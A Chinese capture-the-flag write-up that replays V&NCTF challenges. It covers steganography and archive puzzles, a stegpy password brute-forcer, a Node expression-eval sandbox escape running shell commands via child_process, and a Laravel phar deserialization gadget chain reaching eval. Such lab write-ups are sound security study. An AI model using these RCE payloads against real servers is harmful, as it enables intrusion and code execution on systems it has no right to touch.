# 前言

通过 Buu 平台来复现以往的题目

# MISC

# 冰冰好像藏着秘密

下载题目给的附件,发现名字是 FFT,猜测是傅里叶盲水印

image-20230816081911164

这里尝试解压发现很多报错,但是 rar 还是能提取出来文件

image-20230816082121629

这里实际上是 RAR 文件的伪加密,将 84 改为 80 即可

image-20230816082320413

解压后拿到的照片是灰度照片也是更加验证了我们的猜想

import cv2 as cv
import numpy as np
import matplotlib.pyplot as plt
img = cv.imread('FFT.png', 0) #直接读为灰度图像
f = np.fft.fft2(img) #做频率变换
fshift = np.fft.fftshift(f) #转移像素做幅度谱
s1 = np.log(np.abs(fshift))#取绝对值:将复数变化成实数取对数的⽬的为了将数据变化到 0-255
plt.subplot(121)
plt.imshow(img, 'gray')
plt.title('original')
plt.subplot(122)
plt.imshow(s1,'gray')
plt.title('center')
plt.show()

image-20230816083326557

这样就拿到了 flag

# Do_you_like_Rhythm_Doctor

看题目介绍应该是和节奏医生有些关联

image-20230816083708763

下载附件发现其中有一个 rbzip

image-20230816083840825

简单看了一下文件头,发现还是压缩包文件

image-20230816083927711

得到一个 main.rdlevel 文件,很明显是用来存储关卡数据的

image-20230816084320159

这里将 pulseType 提取出前几个转化为二进制

image-20230816084815741

发现是 f,很显然就是这个思路了,将其全部提取出来按照 row 来排序

01100110   01101100 01100001 01100111 1111011  
01010111   00110011 00110001 01100011 01101111  
01101101   01100101 01011111 01010110 00100110
01001110   01011111 01000011 01010100 01000110 
01111101

image-20230816085121338

# interesting_fishing

题目描述

crazyman_army是某安全公司的研究人员
这天他的其邮箱里发现了一封奇怪的邮件
你能帮助他找到其隐藏的信息吗
附件是第一部分的flag
图片是第二部分的flag
最后flag为 第一部分+第二部分(vnctf{*})

image-20230816085530031

文件解压后得到两个文件,但是没有题目描述中所说的图片文件,很显然图片也在文件中包含,这里先看一下注释文本中的内容

image-20230816085638918

多了一条 hint:powershell 解码后的字符可能存在不可读的情况 那并不是解码错误,bin 文件中有好几串很长的 base

image-20230816085836422

这里分别解码

image-20230816090507417

这里发现一个图片的链接

image-20230816090534515

这里就找到了图片

image-20230816090705263

最后一长串是一个 RAR 文件,这里将文件保存下来,解压后这里还找到了一个假嘟 flag

image-20230816091012296

在 myproject\giveyourflag\giveyourflag\x64\Debug 的 Browse.VC.db 文件中

$encodestring = "XAB1AC0ANgA1ADQAMwAyAD8AXAB1AC0ANgA1ADQAMgAwAD8AXAB1AC0ANgA1ADQAMgAwAD8AXAB1AC0ANgA1ADQAMgA0AD8AXAB1AC0ANgA1ADQAMgAxAD8AXAB1AC0ANgA1ADQANwA4AD8AXAB1AC0ANgA1ADQAOAA5AD8AXAB1AC0ANgA1ADQAOAA5AD8AXAB1AC0ANgA1ADQAMQA4AD8AXAB1AC0ANgA1ADQAMgA2AD8AXAB1AC0ANgA1ADQAMwA3AD8AXAB1AC0ANgA1ADQAMgAwAD8AXAB1AC0ANgA1ADQAMwA0AD8AXAB1AC0ANgA1ADQAOQAxAD8AXAB1AC0ANgA1ADQAOAA2AD8AXAB1AC0ANgA1ADQAOAA3AD8AXAB1AC0ANgA1ADQAOAA1AD8AXAB1AC0ANgA1ADQAOQAxAD8AXAB1AC0ANgA1ADQAOAA3AD8AXAB1AC0ANgA1ADQAOAA2AD8AXAB1AC0ANgA1ADQAOAAzAD8AXAB1AC0ANgA1ADQAOAAxAD8AXAB1AC0ANgA1ADQAOAA4AD8AXAB1AC0ANgA1ADQAOAAyAD8AXAB1AC0ANgA1ADQAOAA3AD8AXAB1AC0ANgA1ADQAOAA3AD8AXAB1AC0ANgA1ADQAOAA2AD8AXAB1AC0ANgA1ADQAOAA1AD8AXAB1AC0ANgA1ADQAOQAwAD8AXAB1AC0ANgA1ADQAMwA3AD8AXAB1AC0ANgA1ADQAMgA1AD8AXAB1AC0ANgA1ADQAMgAxAD8AXAB1AC0ANgA1ADQAOQAwAD8AXAB1AC0ANgA1ADQAMwA5AD8AXAB1AC0ANgA1ADQAMgA0AD8AXAB1AC0ANgA1ADQAOQAxAD8AXAB1AC0ANgA1ADQAMgA2AD8AXAB1AC0ANgA1ADQAMwA5AD8AXAB1AC0ANgA1ADQAMgA2AD8AXAB1AC0ANgA1ADQAMwAwAD8AXAB1AC0ANgA1ADQAMwAxAD8AXAB1AC0ANgA1ADQAMgA2AD8AXAB1AC0ANgA1ADQAMwAzAD8AXAB1AC0ANgA1ADQAOQAwAD8AXAB1AC0ANgA1ADQAMgA3AD8AXAB1AC0ANgA1ADQAMQA1AD8AXAB1AC0ANgA1ADQAMgAzAD8AXAB1AC0ANgA1ADQAMwA3AD8AXAB1AC0ANgA1ADQAMgA4AD8AXAB1AC0ANgA1ADQAMgA1AD8AXAB1AC0ANgA1ADQAMQA5AD8AXAB1AC0ANgA1ADQAMwA2AD8AXAB1AC0ANgA1ADQAOQAwAD8AXAB1AC0ANgA1ADQAMwA3AD8AXAB1AC0ANgA1ADQAMgA1AD8AXAB1AC0ANgA1ADQAMgA3AD8AXAB1AC0ANgA1ADQAOAA5AD8AXAB1AC0ANgA1ADQANQA2AD8AXAB1AC0ANgA1ADQAMQA1AD8AXAB1AC0ANgA1ADQAMgA1AD8AXAB1AC0ANgA1ADQAMgA2AD8AXAB1AC0ANgA1ADQAMwAzAD8AXAB1AC0ANgA1ADQAMQA1AD8AXAB1AC0ANgA1ADQAMwA5AD8AXAB1AC0ANgA1ADQAMgA2AD8AXAB1AC0ANgA1ADQAMwAzAD8AXAB1AC0ANgA1ADQAOQA5AD8AXAB1AC0ANgA1ADQAOAA2AD8AXAB1AC0ANgA1ADQAOAA4AD8AXAB1AC0ANgA1ADQAMgAxAD8AXAB1AC0ANgA1ADQAMgAwAD8AXAB1AC0ANgA1ADQAMgA1AD8AXAB1AC0ANgA1ADQAMgAyAD8AXAB1AC0ANgA1ADQAMwA1AD8AXAB1AC0ANgA1ADQAMgAxAD8AXAB1AC0ANgA1ADQAOQA5AD8AXAB1AC0ANgA1ADQAOAA2AD8AXAB1AC0ANgA1ADQAOAA4AD8AXAB1AC0ANgA1ADQAMgA4AD8AXAB1AC0ANgA1ADQAMgA1AD8AXAB1AC0ANgA1ADQAMQA3AD8AXAB1AC0ANgA1ADQAOQA5AD8AXAB1AC0ANgA1ADQAOAA2AD8AXAB1AC0ANgA1ADQAOAA4AD8AXAB1AC0ANgA1ADQAMgA1AD8AXAB1AC0ANgA1ADQAMgA2AD8AXAB1AC0ANgA1ADQAOQA5AD8AXAB1AC0ANgA1ADQAOAA2AD8AXAB1AC0ANgA1ADQAOAA4AD8AXAB1AC0ANgA1ADQAMwA0AD8AXAB1AC0ANgA1ADQAMgA1AD8AXAB1AC0ANgA1ADQAMgAyAD8AXAB1AC0ANgA1ADQAMwA1AD8AXAB1AC0ANgA1ADQAMwAxAD8AXAB1AC0ANgA1ADQAMwAzAD8AXAB1AC0ANgA1ADQAMgA2AD8AXAB1AC0ANgA1ADQAOQA5AD8AXAB1AC0ANgA1ADQAOAA2AD8AXAB1AC0ANgA1ADQAOAA4AD8AXAB1AC0ANgA1ADQAMwAzAD8AXAB1AC0ANgA1ADQAMgA1AD8AXAB1AC0ANgA1ADQAMgA1AD8AXAB1AC0ANgA1ADQAMwA2AD8AXAB1AC0ANgA1ADQAMgAxAD8AXAB1AC0ANgA1ADQAOQA5AD8AXAB1AC0ANgA1ADQAOAA2AD8AXAB1AC0ANgA1ADQAOAA4AD8AXAB1AC0ANgA1ADQAMwA5AD8AXAB1AC0ANgA1ADQAMgA3AD8AXAB1AC0ANgA1ADQAMwAxAD8AXAB1AC0ANgA1ADQAMwA2AD8AXAB1AC0ANgA1ADQAOQA5AD8AXAB1AC0ANgA1ADQAOAA2AD8AXAB1AC0ANgA1ADQAOAA4AD8AXAB1AC0ANgA1ADQANQA4AD8AXAB1AC0ANgA1ADQAMgA1AD8AXAB1AC0ANgA1ADQAMgAyAD8AXAB1AC0ANgA1ADQAMgAwAD8AXAB1AC0ANgA1ADQAMwAyAD8AXAB1AC0ANgA1ADQAOQA5AD8AXAB1AC0ANgA1ADQAOAA2AD8AXAB1AC0ANgA1ADQAOAA4AD8AXAB1AC0ANgA1ADQANgAxAD8AXAB1AC0ANgA1ADQAMgA1AD8AXAB1AC0ANgA1ADQAMgAyAD8AXAB1AC0ANgA1ADQAMwA1AD8AXAB1AC0ANgA1ADQAMwA5AD8AXAB1AC0ANgA1ADQAMgA2AD8AXAB1AC0ANgA1ADQAOQA5AD8AXAB1AC0ANgA1ADQAOAA2AD8AXAB1AC0ANgA1ADQAOAA4AD8AXAB1AC0ANgA1ADQANgA5AD8AXAB1AC0ANgA1ADQANQA3AD8AXAB1AC0ANgA1ADQANQAwAD8AXAB1AC0ANgA1ADQANgAzAD8AXAB1AC0ANgA1ADQANgA4AD8AXAB1AC0ANgA1ADQAOQAxAD8AXAB1AC0ANgA1ADQAOAA3AD8AXAB1AC0ANgA1ADQANwA5AD8AXAB1AC0ANgA1ADQAOQA5AD8AXAB1AC0ANgA1ADQAOAA2AD8AXAB1AC0ANgA1ADQAOAA4AD8AXAB1AC0ANgA1ADQAMgA0AD8AXAB1AC0ANgA1ADQAMwA5AD8AXAB1AC0ANgA1ADQAMgAyAD8AXAB1AC0ANgA1ADQAMwA5AD8AXAB1AC0ANgA1ADQAMgA2AD8AXAB1AC0ANgA1ADQAMgA1AD8AXAB1AC0ANgA1ADQAMwAxAD8AXAB1AC0ANgA1ADQAMwA5AD8AXAB1AC0ANgA1ADQAOQAwAD8AXAB1AC0ANgA1ADQAMgAyAD8AXAB1AC0ANgA1ADQAMwA5AD8AXAB1AC0ANgA1ADQAMgAyAD8A"
$bytes  = [System.Convert]::FromBase64String($string);
$decoded = [System.Text.Encoding]::UTF8.GetString($bytes); 
echo $decoded

发现了这样一段,通过 base64 解码

image-20230816092034117

RTF 格式

用 65536 减去之后,进行数据转换,获得网址

https://vnctf-213-1257061123.cos.ap-nanjing-myqcloud.com/Pyongyang%20stores%20low%20on%20foreign%20goods%20amid%20North%20Korean%20COVID-19%20paranoia.rar

下载下来(挺能套娃的)

image-20230816092310754

给了一个提示,密码为 4 为数字使用 ARCHPR 得到密码 9705

Pyongyang stores low on foreign goods amid North Korean COVID-19 paranoia
Amid an ongoing, full-scale border lockdown against COVID-19, North Korea on Tuesday warned its citizens against relying on imported foreign goods — calling the habit a dangerous “disease” that could spread the virus from abroad.
Pyongyang’s warning against bringing in foreign goods is not just empty words, either: On Monday, sources told VOA that supermarkets and shops in Pyongyang have lacked foreign-sourced staples for months, including coffee, cocoa and chocolate. This appears to be out of paranoia that foreign goods could carry traces of COVID-19 — which is possible, according to the United Nations, though not the most common way the virus has been transmitted worldwide.
Sources also told VOA that there’s currently no evidence that food items are coming across the border from China, with only locally produced items available on Pyongyang store shelves.
INTENSE BORDER CONTROL
Tuesday’s state-run Rodong Sinmun newspaper cautioned against the country’s long-standing “importation fever” (수입병), which comes as the North continues a strict border control. The DPRK even set up “shoot on sight” zones along its border with China for fear that travelers could carry the virus. Meanwhile, the country is operating under the contested premise that items, air and even yellow dust pollution could carry COVID-19 across borders.
“The most entangling issue today on [the DPRK] demon

找了半天没有发现有用的信息,后来发现是一个 zip 文件

image-20230816094719765

直接用 7zip 解压

image-20230816094828589

在 word 目录下面发现隐藏信息

image-20230816094927376

发现是 0 宽隐写 Unicode Steganography with Zero-Width Characters (330k.github.io)

image-20230816095052181

vnctf {APT_1S_c0M1nG 拿到前一半 flag,接着看图片,这里直接使用 oursecret 打开

image-20230816095451713

得到一个 2.txt 文件

image-20230816095518632

拿到另一半 flag

# HAPPYNEWYEAR

image-20230816095825893

好家伙给两个 hint 还没多少解,稍微有点残忍,第一个 hint 给了一个网址 dCode's Tools List (Crypto Tools, Math & Game Solvers) Online,第二个 hint:stegpy,但是不是那么白给的 stegpy

image-20230817083744271

蓝色的是谢赫语言

image-20230817083839001

横线的那个是 hint 给的第一个网址中的 Chinese Code (Samurai) - Decoder, Translator Online (dcode.fr)

image-20230817083959298

f87840bdddcc01e4

最后得到的一串明文

image-20230817084101109

得到这样一张图片,更具 hint 知道是 stegpy,但是不知道密码,这里写脚本爆破一下

# -*- coding: utf-8 -*-
import os
from subprocess import Popen,PIPE
import sys
def checkwebp(pic):
    print("IF you don't need a password for the pic please input 1") # 无密钥
    print("IF you know the password of the pic please input 2") # 有密钥且已知
    print("IF not input 3 I will use the password.txt") # 有密钥但未知
    choice = input()
    if choice == '1':
        os.system("stegpy {}".format(pic))
    elif choice == '2':
        print("INPUT THE password:")
        password = input()
        cmd = ["stegpy", "-p",pic]
        subp = Popen([sys.executable, '-c', 'import pty, sys; pty.spawn(sys.argv[1:])', *cmd],stdin=PIPE,stdout=PIPE,stderr=PIPE)
        print(subp.stdout.read(len("Enter password (will not be echoed):")))
        subp.stdin.write(bytes((password+'\n').encode('utf-8')))
        subp.stdin.flush()
        print(subp.stdout.readlines())
        # print(subp.stdout.readlines()[1])
        print('\n')
    elif choice == '3':
        file = open('password.txt', 'r')
        line = file.readline()
        while line:
            print(line)
            cmd = ["stegpy", "-p", pic]
            subp = Popen([sys.executable, '-c', 'import pty, sys; pty.spawn(sys.argv[1:])', *cmd], stdin=PIPE, stdout=PIPE,stderr=PIPE)
            print(subp.stdout.read(len("Enter password (will not be echoed):")))
            subp.stdin.write(bytes((line + '\n').encode('utf-8')))
            subp.stdin.flush()
            print('result:')
            result = subp.stdout.readlines()[1]
            print(result)
            if result != b'Wrong password.\r\n':
                break
            # print(subp.stdout.readlines()[1])
            print('\n')
            line = file.readline()
    else :
        print('Input Wrong!')
if __name__ == "__main__":
    checkwebp('happynewyear.png')

这里我直接用网上师傅的脚本了,最后爆出来的密码是 tyinfo

# WEB

# Ez_game

一道纯 js 的题

image-20230817095457565

要通关这个游戏,游戏大佬可以试试强行通过,这里先把目光看向 js

image-20230817095706494

['sojson.v4']["\x66\x69\x6c\x74\x65\x72"]["\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72"](((['sojson.v4']+[])["\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72"]['\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65']['\x61\x70\x70\x6c\x79'](null,"118h97x114w32l95m95N101x110O99d111B100u101w32F61P32u39R106k115w106O105F97z109R105f46p99y111A109U39d44F10G32U32F32r32G95V97p32D61Y32X123W125h44r10M32V32P32x32h95X48M120O98J52A56I51A32r61d32v91o34Q95c100n101M99e111I100l101I34b44r32X34r104N116Z116m112B58A47b47P119M119d119M46z115W111I106V115f111s110m46J99D111W109Z47g106R97c118D97F115L99I114Y105F112v116E111l98m102Q117d115E99x97K116r111U114v46s104d116B109F108Z34e93B59q10m40r102O117f110Z99D116D105a111a110u40Y95J48O120H100Q54k52k50e120I49a41P32f123s10E32j32I32d32K95E48D120k100R54S52g50O120H49y91J95q48X120w98C52a56R51E91m48B93c93E32d61e32w95X48v120b98L52e56b51O91m49b93C10Q125V41N40t95r97g41L59X10M118d97I114t32E95f95x79y120f97D50O55p56y49X32I61j32A91K34i34t44h32L34a45m112w97p117H115M101E100z45m34r44g32Q34y87v105k110E33A32h102S108G97y103u123E116k104V105l115E95F103u97g109Y101I95l105R115A95x102G117h110l110E121M33B125f34N44c32q34f71C97L109O101x32c79k118R101J114R33b34L44V32h34U80g114e101b115c115t32c69w115I99g97u112W101z34C44h32d34a120f34k44B32W34i121H34q44x32P34E99x101x110k116J101Z114j34c44B32s34B117V110j100K101A102U105M110L101x100T34k44u32U34R108t111X103q34W44p32M34o21024U38500O34R44T32u34a29256O26412t21495E65292k106N115v20250y23450F34N44f32V34Q26399e24377C31383B65292R34u44t32j34y36824A35831C25903t25345D25105o20204W30340R24037P20316L34R44y32w34o106Z115A106T105F97b34i44a32m34u109T105L46e99p111F109l34U93m59Y10u108S101q116s32P98f105A103l84N101h120n116V32A61B32t95V95W79u120a97z50N55J56g49r91g48C120L48a93r59K10k105U102S32K40X112d97m117q115P101T100A41S32r123R10r32D32a32X32t98Y105Y103N84I101p120j116U32e61J32R95g95v79i120F97F50n55h56H49d91S48x120N49u93H10C125z59O10C105W102e32t40G119n105T110x84r105G109Y101W114q46C73s115m83G101O116j40m41O41R32S123R10c32I32b32A32V98x105X103v84E101b120V116V32L61P32N95e95u79I120v97W50T55W56i49S91j48m120O50d93k10g125J59G10Q105p102m32Y40O112J108s97c121w101U114u46P73a115D68E101Y97D100E40g41g41Q32Y123r10K32X32T32q32r98b105q103i84o101V120D116v32N61H32b95R95J79q120i97q50X55o56g49G91T48Z120F51G93l59k10c32v32f32e32P68u114l97N119q84f101x120z116m40j95r95I79n120R97E50x55o56h49y91p48Q120z52L93g44k32E109H97Q105E110w67Z97l110d118S97M115j83a105B122j101E91p95n95Y79U120S97H50C55a56l49E91z48w120A53C93Y93I32b47M32o50R44R32w109n97U105b110j67h97M110H118j97X115g83D105M122n101W91J95q95y79x120i97R50Y55z56s49N91z48v120R54s93a93S32I47z32A50k32w43S32f56j48j44T32B52Y50c41O10V125M59f10h68n114V97m119f84G101C120P116u40E98i105M103U84C101e120d116q44f32Z109v97i105R110G67u97m110Q118e97n115K83G105V122M101j91Q95Y95y79M120f97G50k55i56C49c91x48j120R53F93a93L32b47p32Z50k44a32l109c97r105A110W67i97Y110t118H97y115J83H105C122r101R91a95L95s79a120d97M50G55H56k49O91m48p120R54y93d93J32x47y32c50c32Y45d32C56M48i44r32b55G50f44j32x95j95r79S120i97g50J55V56a49a91Y48f120w55c93M44M32s50p41D59x59h59g10r40L102e117n110g99S116k105D111t110Y40M95J48s120f53y49N57K55H120Y50z44F32z95B48b120t53z49A57D55X120n51H44w32o95P48t120g53n49M57G55n120T52U44D32B95A48B120Z53K49H57t55X120d53L44f32o95J48R120D53s49H57d55J120b54Y44w32U95u48g120J53Q49v57B55s120a55H41z32L123K10G32X32F32V32W95k48o120T53S49I57d55s120i55d32O61X32n95B95n79d120E97E50s55o56w49j91N48z120D56R93R59j10p32Q32s32e32H95F48O120Y53F49C57W55r120q53M32f61U32Y102R117F110N99c116V105r111y110w40I95X48h120s53Y49o57q55k120o56Q41f32S123S10R32C32B32t32f32r32q32F32Z105Y102S32o40c116E121R112d101G111f102m32p97d108Q101M114s116V32G33s61C61z32B95p48W120e53S49y57p55Q120C55o41q32L123z10I32u32a32y32W32e32b32h32W32s32m32l32c97I108C101N114t116V40P95w48X120x53F49M57d55B120x56u41F10C32F32A32B32h32F32r32y32w125L59G10o32f32T32O32T32O32c32H32D105d102v32H40i116V121a112R101e111G102B32D99O111n110L115o111X108W101S32D33C61H61G32o95u48e120z53k49d57j55s120E55m41p32c123o10V32I32B32R32A32Y32N32H32E32R32l32V32P99D111R110i115r111m108h101D91Z95i95s79g120K97d50W55w56r49n91E48l120W57W93F93R40P95D48G120q53Q49d57p55q120M56R41F10q32C32N32u32X32T32E32d32X125W10D32P32h32i32Y125N59D10v32J32C32X32B95V48w120K53C49I57r55I120E52C32Q61E32X102o117o110I99u116M105C111z110h40v95g48L120b53d49q57e55J120L57j44C32F95R48X120M53S49U57w55h120I50w41W32r123j10q32e32k32e32y32Z32I32g32z114c101D116A117A114V110w32x95p48H120k53O49r57b55Z120w57Q32N43M32A95I48z120M53A49S57s55K120o50o10u32y32k32j32u125a59j10u32S32S32n32p95A48s120k53a49M57F55J120J54G32c61R32l95c48X120C53s49q57U55V120E52N40A95t95T79x120Q97R50o55F56e49Y91i48G120p97P93y44S32J95k48r120q53g49i57E55x120D52O40N95H48S120d53i49M57H55x120e52e40X95k95Z79q120C97l50T55K56I49k91R48o120g98g93Q44v32r95R95K79W120N97u50A55v56Z49m91A48x120X99H93x41y44T32w95n95v79i120g97E50y55h56m49C91X48S120N100w93n41q41b59M10I32e32F32g32e116J114t121I32r123N10M32J32N32m32j32l32J32g32X95n48g120l53X49b57l55D120p50s32b61T32f95W95E101N110o99c111M100M101Q59f10J32k32y32K32B32F32X32R32K105d102c32b40e33U40o116q121j112D101A111D102c32x95p48o120R53a49b57S55d120M50d32p33q61s61o32d95z48B120A53s49S57t55a120j55H32B38S38e32N95i48L120O53j49W57O55V120P50X32o61Y61i61k32P95j48M120Z53O49t57W55P120p52V40d95N95y79a120X97r50t55o56v49a91I48m120m101p93B44T32V95b95j79s120M97q50p55j56G49A91g48i120O102U93G41y41a41i32F123F10O32Z32o32T32P32e32Z32K32T32h32z32d32b95l48V120H53v49J57I55L120w53J40n95M48o120F53C49d57W55e120S54R41U10U32u32C32c32x32z32y32J32F125L10H32K32G32r32d125e32A99A97l116x99y104R32H40B101U41W32j123A10m32t32b32L32A32A32B32D32Z95t48z120m53V49N57N55B120x53Z40m95k48c120A53L49M57V55R120l54U41X10E32R32G32Q32q125U10D125p41P40A123E125S41"['\x73\x70\x6c\x69\x74'](/[a-zA-Z]{1,}/))))('sojson.v4');

image-20230817100008009

放到控制台上就拿到 flag

# naive

image-20230817100550111

也是两个提示, 不会有web手电脑里没IDA吧,不会吧不会吧仔细阅读package.json哦/汪汪

image-20230817100645594

打开题目后这里直接给了原代码

import express from "express";
import bindings from "bindings";
import { fileURLToPath } from 'url'
import path from "path";
import pkg from 'expression-eval';
const { eval: eval_, parse } = pkg;
const addon = bindings("addon");
const file = fileURLToPath(import.meta.url);
const app = express();
app.use(express.urlencoded({ extended: true }));
app.use(express.static("static"));
app.use("/eval", (req, res) => {
  const e = req.body.e;
  const code = req.body.code;
  if (!e || !code) {
    res.send("wrong?");
    return;
  }
  try {
    if (addon.verify(code)) {
      res.send(String(eval_(parse(e))));
    } else {
      res.send("wrong?");
    }
  } catch (e) {
    console.log(e)
    res.send("wrong?");
  }
});
app.use("/source", (req, res) => {
  let p = req.query.path || file;
  p = path.resolve(path.dirname(file), p);
  if (p.includes("flag")) {
    res.send("no flag!");
  } else {
    res.sendFile(p);
  }
});
app.use((err, req, res, next) => {
  console.log(err)
  res.redirect("index.html");
});
app.listen(process.env.PORT || 80);

很显然这里 source 可以任意文件读取,然后通过利用 eval 来 getshell

这里先根据提示查看 package.json 文件

image-20230817100938968

{
  "name": "name",
  "version": "0.1.1",
  "description": "Description",
  "private": true,
  "main": "src/index.js",
  "type": "module",
  "scripts": {
    "start": "node src/index.js",
    "build:native": "node-gyp rebuild",
    "build:native:dev": "node-gyp rebuild --debug"
  },
  "dependencies": {
    "bindings": "^1.5.0",
    "express": "^4.17.1",
    "expression-eval": "^4.0.0",
    "node-addon-api": "^3.0.2",
    "seval": "^2.0.1"
  },
  "devDependencies": {
    "@types/express": "^4.17.8",
    "@types/node": "^14.10.1",
    "node-gyp": "^7.1.2",
    "prettier": "^2.0.5"
  }
}

暂时没看到什么能利用的,将目光放回 eval

app.use("/eval", (req, res) => {
  const e = req.body.e;
  const code = req.body.code;
  if (!e || !code) {
    res.send("wrong?");
    return;
  }
  try {
    if (addon.verify(code)) {
      res.send(String(eval_(parse(e))));
    } else {
      res.send("wrong?");
    }
  } catch (e) {
    console.log(e)
    res.send("wrong?");
  }
});

接收一个 e 和一个 code 参数,e 是要被执行的,想要进入这个 if 首先要 code 满足条件 addon.verify (code),这里 addon 是上面利用 bindings 引入的 ---const addon = bindings ("addon"); 它会引入 build/Release/addon.node 里面的包,去读取这个文件,将这个文件下载了下来,一个 elf 文件拿到密码 yoshino-s_want_a_gf,qq1735439536

利用 (1).constructor.constructor 拿到 Funtion 从而实现自定义匿名函数

image-20230817111535798

前面根据提示拿到的 package.json 文件中有这样一行 "type": "module",源代码中还有这样一句 app.use (express.static ("static")); 也就是说可以直接访问直接访问静态资源目录,所以构造 payload

code=yoshino-s_want_a_gf,qq1735439536&e=(1).constructor.constructor("return+import('child_process').then((module)=>{module.execSync(\"cat ../flag>> ./static/1.js\");})")();

然后去访问 1.js 即可

# Easy_laravel

image-20230817112423501

这里给了源码,hint:需要 CVE 配合 Getshell,很显然是做了修复了

V&NCTF Easy_Laravel Writeup | (guokeya.github.io) 这里参考了这位大佬的博客分析这个题

这里先找到 destruct 这个魔术方法

image-20230817112806263

image-20230817112949032

很多地方都有,但是参数可控的就只有 PendingBroadcast 和 ImportConfigurator 这两个类中,两个地方都是 this->xxx->xxx 的形式,可以调用同名函数,但是找了很久也是没有找到,在看师傅的 wp,实际上可以利用到__call 方法

image-20230817115407737

HigherOrderMessage 类的__call 方法存在任意类的方法调用,很显然接下来就是寻找危险函数

image-20230817115557127

MockTrait 类的 generate 方法存在 eval 调用,这里贴一下大佬的脚本

<?php
namespace Symfony\Component\Routing\Loader\Configurator{
    class ImportConfigurator{
    	private $parent;
    	private $route;
    	public function __construct($class){
	    	$this->parent = $class;
		    $this->route = 'test';
	    }
    }
}
namespace Mockery{
    class HigherOrderMessage{
	    private $mock;
        private $method;
	    public function __construct($class){
        	$this->mock = $class;
            $this->method = 'generate';
        }
    }
}
namespace PHPUnit\Framework\MockObject{
    final class MockTrait{
	    private $classCode;
	    private $mockName;
	    public function __construct(){
            $this->classCode = "phpinfo();";
            $this->mockName  = '123';
        }
    }
}
namespace{
    use \Symfony\Component\Routing\Loader\Configurator\ImportConfigurator;
    use \Mockery\HigherOrderMessage;
    use \PHPUnit\Framework\MockObject\MockTrait;
    
    $m = new MockTrait();
	$h = new HigherOrderMessage($m);
	$i = new ImportConfigurator($h);
	$phar = new Phar("shell.phar");
	$phar -> startBuffering();
	$phar -> addFromString("test.txt","test");
	$phar -> setStub("GIF89a"."<?php __HALT_COMPILER();?>");
	$phar -> setMetadata($i);
	$phar -> stopBuffering();
}
?>